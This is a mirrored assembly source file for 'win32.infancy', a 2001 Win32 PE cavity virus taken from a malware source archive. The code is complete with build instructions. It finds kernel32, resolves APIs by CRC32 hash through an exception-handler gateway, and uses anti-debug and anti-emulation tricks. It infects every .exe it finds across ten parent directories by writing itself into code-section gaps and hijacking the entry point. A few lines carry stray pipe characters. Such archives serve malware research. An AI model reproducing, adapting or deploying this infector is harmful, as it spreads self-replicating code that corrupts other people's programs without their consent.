mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
566 lines
29 KiB
NASM
566 lines
29 KiB
NASM
;????????????????????????????????????????????????????????????????????????????»
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;? win32.infancy (c)oded by shitdown [mions] in feb-18-2001, alfa version ?
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;? non-dangerous, non-resident pe cavity ring3 direct-action infector ?
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;?????????????????????????????????????????????????????????????????????????????
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;? this code is optimised for size by technique, not by asm :( ?
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;?????????????????????????????????????????????????????????????????????????????
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;?????????????????????????????????????????????????????????????????????????????
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;? description:? ?
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;??????????????? ?
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;? name : win32.infancy (win32 teoretically, tested on win98 :-) ?
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;? author : shitdown (http://shitdown.sf.cz, email: shitdown@sf.cz) ?
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;? origin : czech republic ?
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;? size : 540 bytes ?
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;? infects : .exe pe files ?
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;? payload : no ?
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;? strings : no ?
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;? encrypt : no ?
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;? resident : no ?
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;? cavity : yes ?
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;? anti-debug : yes, 0cch api callgate fucks td32 ?
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;? anti-emu : yes,non-standard playing with seh ?
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;? anti-av : no ?
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;?????????????????????????????????????????????????????????????????????????????
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;? simple example tiny virus, shows how to use ?
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;? structured exception handling ?
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;? kernel is determined by standard way (pop eax/push eax) ?
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;? at start, apis is located at fly (when is needed) ?
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;? ( push crc32 of api / int 3 ) - crc32 api names, ?
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;? virus can be easy detected / cleaned by generic scaner ?
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;? virus doesn't needs write permission to section - ?
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;? - all variables will be allocated dynamically on stack ?
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;? virus searches & infects all files in 10 up-directories; ?
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;? (cd .. / infect_all, cd .. / infect_all :) ?
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;? this cute code is designed to use 'holes' in code ?
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;? section, virus doesn't increase host size. ?
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;? this code is not purposed to be world-wide :) ?
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;? so, only for study purposes. ?
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;? ?
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;?how to compile: ?
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;? tasm32 -ml -m9 -q -zn -z infancy.asm ?
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;? tlink32 -r -m -s -M -Tpe -c -ap infancy.obj ?
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;?how to debug: ?
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;? set 'softice' definition to '1', compile, go to softice and type ?
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;?'i1here on' and run infancy.exe file. ?
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;???????????????????????????????? ?
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;?fuck the windows, linux rocks!? ?
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;?????????????????????????????????????????????????????????????????????????????
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.386p ;nice machines :)
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.model flat ;why ? why not !
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softice = 0
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dir_depth = 10 ;10 up-directories
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.data
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dummy dd ?
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; ?????????????????
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;??????????????????????????? needed macroz ???????????????????????????????????
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; ?????????????????
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;
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;???????????????
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;? crc32 macro ?
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;???????????????
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crc32_magic = 0c1a7f39ah
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crc32 macro string
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crcreg = 0ffffffffh
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irpc _x, <string>
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ctrlbyte = ('&_x&' and 0dfh) xor (crcreg and 0ffh)
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crcreg = crcreg shr 8
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rept 8
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ctrlbyte = (ctrlbyte shr 1) xor (crc32_magic * (ctrlbyte and 1))
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endm
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crcreg = crcreg xor ctrlbyte
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endm
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dd crcreg
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endm
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;??????????????????
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;? api call macro ?
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;??????????????????
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api macro apiname
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db 68h
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crc32 <apiname>
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db 0cch
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endm
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;????????????????????????????
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;? softice breakpoint macro ?
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;????????????????????????????
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break macro
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if softice
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int 01
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endif
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endm
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; ????????????????????????????
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;???????????????????????? here starts code section ???????????????????????????
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; ????????????????????????????
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.code
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go:
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virus_start:
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;??????????????????????????????????????????????????????
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;? try to get kernel address, using 'standard' method ?
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;? pop eax / push eax, function is protected by seh ?
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;??????????????????????????????????????????????????????
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pop eax ;kernel address
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push eax ;to eax
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xor ax, ax
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k32_scan_next:
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push eax ;for restorin'
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;by seh
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call set_k32_scan_seh
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k32_scan_seh:
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pop ecx ;esp+8
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pop ecx
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pop esp ;mov esp, [esp+8]
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k32_scan_mismatch:
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pop ecx ;remove old seh
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pop ecx
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pop eax ;restore last
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;kernel address
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add eax, 0-10000h
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jmp short k32_scan_next ;try again
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set_k32_scan_seh:
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xor ecx, ecx
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push ecx
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mov dword ptr fs:[ecx], esp
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cmp word ptr [eax], 5a4dh
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jne short k32_scan_mismatch
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k32_found:
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pop eax ;remove old seh
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pop ecx
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pop ebp
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;?????????????????????? create handler for virus-services ?????????????????????
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call get_handler_offset
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;????????????????????????????????????????????????????????????????????
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;? here is an entrypoint of exception gate, if any exception occurs ?
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;? (including 0cch opcode call), this code will be executed ?
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;????????????????????????????????????????????????????????????????????
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exception_handler:
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pushad ;save all registerz
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mov esi, [esp+4+20h] ;exception code
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lodsb ;exception number
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cmp al, 3 ;virus request ?
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je short exception_virus_request ;yah
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;????????????????????????????????????????????????????????????????
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;? only handled exception is int 0x3 - virus api gateway, other ?
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;? exceptions is page faults, invalid opcodes etc, then virus ?
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;? tryes jump to original host ?
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;????????????????????????????????????????????????????????????????
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other_exception:
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break
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mov esp, [esp+8+20h]
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pop eax ;remove old seh handler
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pop eax
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call get_eip
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get_eip:
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db 81h, 2ch, 24h ;sub [esp], old_host
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old_host dd -((offset fake_host-offset go)-(offset get_eip-offset go))
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ret
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;??? virus interrupt / request
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exception_virus_request:
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mov esi, [esp+0ch+20h] ;context-block
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add esi, 0b4h ;pointer
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lodsd ;to saved ebp
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xchg eax, ebp ;ebp-base of kernel
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mov edi, esi ;for edi storing
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lodsd ;load eip to eax
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xchg eax, esi ;in esi is eip
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;??? fix win9x bug
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lodsb
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cmp al, 0cch
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je short no_w9x_bug
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dec esi
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no_w9x_bug:
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;???????????????????????????????????????????
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;? in esi is return addres (after int 03h) ?
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;? in edi is pointer to stack stored eip ?
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;???????????????????????????????????????????
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mov ebx, [edi+12] ;esi points to dword on stack
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xchg [ebx], esi ;xchange crc32 <> return addr
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mov ebx, esi ; :( crc32 to ebx
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;?????????????????????????????????????????
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;? okay, now i must call those crazy api ?
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;? in ebp is kernel address ?
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;?????????????????????????????????????????
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mov esi, [ebp+3ch] ;pe header to esi
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mov esi, [esi+ebp+78h] ;export table to esi
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lea esi, [esi+ebp+1ch] ;offset of 'address table'
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lodsd ;address table
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push eax ;save 'address table'
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lodsd ;name table to eax
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push esi ;save pointer to ordinal table
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lea esi, [eax+ebp]
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mov ecx, ebp ;counter of api
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try_next_api_name:
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lodsd ;in eax pointer to string
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add eax, ebp
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;???? crc32 code ?????????????????????????????????????????????????????????????
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;? ? input: eax - offset to name ? ?
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; ? output:edx - crc32 ?
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; ???????????????????????????????
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get_crc32:
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push esi
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xchg eax, esi
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xor edx, edx
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dec edx
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crc_next_byte:
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lodsb
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and al, 0dfh ;i hate uppercase :)
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jz short crc_finish
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xor dl, al
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mov al, 08h
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crc_next_bit:
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shr edx, 01h
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jnc short crc_no_change
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xor edx, crc32_magic
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crc_no_change:
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dec al
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jnz short crc_next_bit
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jmp short crc_next_byte
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crc_finish:
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pop esi
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;? ?
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;?????????????????????????????? end of crc32 ?????????????????????????????????
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inc ecx
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inc ecx
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cmp edx, ebx ;hit ?
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jne short try_next_api_name
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;????????????????????????????????????????????
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;? yahooo, api hit! ?
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;? in ecx is api index (starting from 1 !!) ?
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;????????????????????????????????????????????
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pop esi ;restore *ordinal_table
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lodsd ;in eax pointer to ordinal table
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movzx ecx, word ptr [eax+ecx-2] ;in ecx is now ordinal (0..x)
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pop eax ;in esi is ptr address table
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add eax, ebp
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mov eax, [ecx*4+eax] ;and jump to api :)
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add eax, ebp
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stosd
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popad
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xor eax, eax
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ret
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;? ?
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;???????????????????????????? end of virus-handler ???????????????????????????
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;????????????????????????? here starts infection engine ??????????????????????
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;? ?
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infect:
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xor esi, esi
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lea ebx, [esp+44+2*4] ;filename to ebx
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;??? at first, i must open file for read & write
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push esi ;file attributes
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push esi ;""
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push 3 ;open existing
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push esi ;security=default
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push esi ;no sharing
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push 0c0000000h ;generic read & write
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push ebx ;file name
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api <createfilea> ;open!
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inc eax ;-1+1=0 ?
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jnz short infect_continue
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retn
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infect_continue: ; yes, this is error
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dec eax ; handle to eax
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push eax ;save for future use
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;??? now create file mapping
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push esi ;no filename handle
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push dword ptr [esp+32+4*4] ;maximal size of file
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push esi ;no min. size
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push 4 ;page read & write
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push esi ;no security
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push eax ;mapped file handle
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api <createfilemappinga>
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push eax ;save for future use
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;??? and map file to memory
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push dword ptr [esp+32+4*4] ;count of bytes to map
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push esi ;blah...
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push esi ;
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push 2 ;read & write
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push eax ;map-handle
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api <mapviewoffile>
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;??? yahoo, in eax is mapped file
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mov ebx, eax
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cmp word ptr [eax], 5a4dh ;exe file ?
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jne short @unmap_file
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cmp word ptr [eax+18h], 0040h
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@unmap_file:
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jne short @@unmap_file
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add ebx, [eax+3ch]
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cmp word ptr [ebx], 4550h ;is this pe header ?
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@@unmap_file: jne short unmap_file ;no
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xchg edx, eax ;imagebase to edx
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push ebx ;save pe header
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break
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movzx eax, word ptr [ebx+14h]
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add ebx, eax
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test byte ptr [ebx+18h+24h], 20h ;executable ?
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jz short _unmap_file ;no :(
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code_section_found:
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;??? okay, in ebx+18h is section record
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break
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mov ecx, dword ptr [ebx+18h+10h] ;raw_size
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cmp ecx, dword ptr [ebx+18h+08h] ;raw_size>virtual size ?
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jc short _unmap_file ;raw size too small, go away
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mov esi, [ebx+18h+14h] ;raw address of section in esi
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add esi, edx ;esi points to start of .code
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mov eax, [ebx+18h+0ch] ;relative virt. addr to eax
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;????????????????????????????????????????????????????????????????????
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;? esi - pointer to code, ecx - count of bytes left, edi - counter ?
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;? eax - offset of cave (rva) ?
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;????????????????????????????????????????????????????????????????????
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;???? current stack dump ????????????????????»
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;? [esp] ? memory mapped pe header ?
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;? [esp+4] ? map handle ?
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;? [esp+8] ? file handle ?
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;? [esp+12] ? offset of after_infect: label ?
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;? [esp+16] ? file search handle ?
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;? [esp+20] ? start of win32_find_data ?
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;? [esp+48] ? 100% null-filled 4bytes :)) ?
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;?????????????????????????????????????????????
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; push dword ptr [ebx+0ch+18h] ;save virtual addr
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; mov dword ptr [esp+20], [ebx+0ch+18h]
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xor edi, edi
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hole_mismatch:
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add [esp+48], edi
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add esi, edi
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xor edi, edi
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push esi ;save address
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holes_search:
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dec ecx
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pop eax ;clean stack
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js short _unmap_file
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push eax
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inc edi ;counter of found bytes
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lodsb
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test al, al
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jz short holes_search
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cmp al, 0cch
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jz short holes_search
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cmp al, 0c3h
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jz short holes_search
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hole_end:
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db 66h, 81h, 0ffh ;cmp di, virus_size
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dw virus_size+4
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pop esi ;restore saved address
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jc short hole_mismatch ;no :(
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break
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hole_found:
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lodsd
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;??????????????????????????????????????????????????????
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;? yah, in stack is rva of cave, in esi cave address ?
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;? in edi size of cave ?
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;??????????????????????????????????????????????????????
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; push dword ptr [ebx+18h+10h] ;raw size
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; pop dword ptr [ebx+18h+08h] ;=virtual size
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mov edi, esi ;in edi offset of cave
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mov esi, [esp+12] ;offset infect to esi
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sub esi, offset after_infect - offset go ;offset of go to esi
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; push esi
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mov ecx, virus_size ;virus size to ecx
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rep movsb ;and move the virus !!
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; pop esi ;in esi offset of infect:
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;??? in edi is offset virus_end
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sub edi, virus_end-old_host
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mov ecx, [esp+48] ;addres relative to cave
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lea ecx, [ecx+4]
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add ecx, [ebx+0ch+18h] ;rva of section
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pop ebx ;pe header in ebx
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lea eax, [ecx+get_eip-go]
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xchg [ebx+28h], ecx ;set entrypoint to virus
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sub eax, ecx
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;?????????????????????????????????????????????????????????????????????
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;? old_host = rva_of_virus+(offset get_eip-offset go)-entrypoint_rva ?
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;?????????????????????????????????????????????????????????????????????
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stosd ;and store return adress
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push eax
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_unmap_file:
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xchg edx, eax
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pop ecx ;remove shit (pe header)
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;unmaps file, in eax must be address of mapped file
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unmap_file:
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push eax
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api <unmapviewoffile>
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db 0bbh ;mov ebx, crc32 <closehandle>
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crc32 <closehandle>
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push ebx
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db 0cch ;close mapping handle
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pop edi
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lea esi, [esp+20+2*4]
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push esi
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sub esi, 8
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push esi
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sub esi, 8
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push esi
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push edi
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api <setfiletime>
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push edi
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push ebx
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db 0cch ;close file handle
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push 21h ;make file read-only
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add esi, 40h
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push esi
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api <setfileattributesa>
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unmap_file_end:
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infect_file_end:
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retn
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infect_end:
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;? old_host = rva_of_virus+(offset get_eip-offset go)-entrypoint_rva ?
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;?????????????????????????? here ends infection engine ???????????????????????
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get_handler_offset:
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;--- setup handler for virus services / exeption handling
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break
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push eax
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mov dword ptr fs:[eax], esp
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push dir_depth
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mov ah, 2 ;512
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sub esp, eax ;place for old directory
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push esp ;buffer offset
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push eax ;buffer len
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xchg eax, ebx
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api <getcurrentdirectorya>
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;???????????????????????????????????????????????????????
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;? main infection routine: ?
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;? searches for *.exe and for ..\*.exe and infect them ?
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;???????????????????????????????????????????????????????
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sub esp, ebx ;size of (ffdata)
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find_first:
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push esp ;offset of data buffer
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call get_mask
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db "*.exe", 0
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get_mask:
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api <findfirstfilea>
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dir_search:
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push eax ;save search handle
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call infect
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after_infect:
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pop esi
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push esp
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push esi
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api <findnextfilea>
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dec eax
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xchg eax, esi
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jz short dir_search
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next_directory:
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push eax
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api <findclose> ;close search handle
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mov dword ptr [esp], '..'
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push esp
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db 0bbh
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crc32 <setcurrentdirectorya>
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push ebx
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db 0cch
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; api <setcurrentdirectorya> ;go to next up directory
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dec dword ptr [esp+1024]
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jnz short find_first
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cdq ;edx=0
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mov dh, 2
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add esp, edx
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push esp
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push ebx
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db 0cch
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; api <setcurrentdirectorya>
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int 4
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virus_end:
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virus_size = $-virus_start
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;???????????????????
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;?end of virus game?
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;???????????????????
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; ??????????????????
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;??????????????????????????????? fake host part ??????????????????????????????
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; ??????????????????
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msg:
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db "win32.infancy."
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db '0'+virus_size/100 mod 10
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db '0'+virus_size/10 mod 10
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db '0'+virus_size mod 10
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db 13, 10, "(c)oded by shitdown in jul-2000, http://shitdown@sf.cz, shitdown@sf.cz", 13, 10
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db "welcome to first generation!", 13, 10
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msg_len = $-msg
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|
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db 1024 dup(?)
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fake_host:
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;--------------- same kernel scanner
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pop eax ;kernel address to eax
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push eax
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xor ax, ax
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_k32_scan_next:
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push eax ;for restorin' by seh
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|
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call _set_k32_scan_seh
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_k32_scan_seh:
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pop ecx ;esp+8
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pop ecx
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pop esp ;mov esp, [esp+8]
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_k32_scan_mismatch:
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pop eax ;restore last kernel address
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|
|
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pop ecx ;remove old seh
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|
pop ecx
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|
|
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add eax, 0-10000h
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jmp short _k32_scan_next ;try again
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|
|
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_set_k32_scan_seh:
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|
push eax
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|
xor ecx, ecx
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mov dword ptr fs:[ecx], esp
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|
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cmp word ptr [eax], 5a4dh
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|
jne _k32_scan_mismatch
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|
_k32_found:
|
|
pop ebp ;eax
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|
pop eax ;remove old seh
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|
pop eax
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|
|
|
;-----------------------------------
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|
|
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xor ecx, ecx
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|
push offset exception_handler
|
|
push ecx
|
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mov dword ptr fs:[0], esp
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|
|
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push -11 ;get a standard handle
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api <getstdhandle>
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|
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push 0
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|
push offset dummy
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push msg_len
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push offset msg
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|
push eax
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|
api <writefile>
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|
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push 0
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|
api <exitprocess>
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end go
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;heh, thats all
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